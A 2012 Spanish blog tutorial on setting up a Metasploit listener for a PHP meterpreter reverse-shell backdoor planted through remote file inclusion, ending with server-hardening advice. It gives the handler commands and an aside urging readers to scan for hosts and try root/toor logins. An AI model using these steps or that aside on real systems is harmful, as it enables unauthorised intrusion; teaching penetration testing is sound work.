martes, 20 de noviembre de 2012

Metasploit...creando backdoor php

Ya hemos hablado varias veces en este blog sobre las virtudes del señor Metasploit con la seria Ex girlfriend.

Hoy vamos a jugar un poco a los indios y vaqueros.
Seguro que conoces los términos LFI (Local File Inclusion) y RFI ( Remote File Inclusion). Una mala configuracion de nuestras aplicaciones y permisos en los servidores web puede ocasionar el acceso local o remoto de un atacante a ciertas rutas en el servidor.
Cuando encontramos dicha vulnerabilidad, tenemos la posibilidad de subir una shell, pero OJO como dejamos esto con nuestros clientes de PenTest, tal y como comentaba el señor Chema Alonso
Podemos subir "la madre de las shell´s", osea, una conexión reversa ( y tenebrosa xD) hacia nuestra máquina metasploit, y usar meterpreter para intentar comprometer el servidor por completo.

Para ello, jugamos con Metasploit y ponemos a la escucha el manejador del payload.
use Multi/handler
set PAYLOAD php/meterpreter/reverser_tcp
set LHOST ip local ( no pongas 127.0.0.1 como en todos los manuales si quieres probarlo hacia fuera, el mundo real xD )
Exploit -z -j

ya tenemos el payload a la escucha. Como no hemos configurado LPORT, por defecto estamos escuchando sobre el puerto 4444.  (***aunque no tenga nada que ver, habéis probado a escanear máquinas con este puerto abierto+ ssh y probar a entrar con u:root/p:toor ? ***)

Ahora vamos a crear la shell.


Como veis, inicio también el servidor apache, que hará las veces de servidor vulnerable a RFI.

En cualquier equipo, entramos a la dirección del servidor, en este caso de demo, 192.168.0.119/kinopepino.php
y ya tenemos sesión en meterpreter.


Como podéis ver, la sesión meterpreter haciendo uso de SHELL nos muestra acceso a la ruta del backdoor/shell.
Para estas pruebas he usado el usuario root para arrancar el servicio de apache, entonces, cualquier persona que acceda a dicha shell, tendrá acceso completo a todo el sistema, o al menos a la parte del root xD. Un ejemplo gráfico de la necesidad de correr los servicios con usuarios pelados, y el uso de ACL´s a nivel de disco para evitar estos incidentes. También sería interesante correr el Apache en modo Jail (like freebsd) para aislar no solo permisos, sino comandos del sistema por ejemplo. No confíes solo en el Htaccess...

Como siempre, gracias por leerme !!!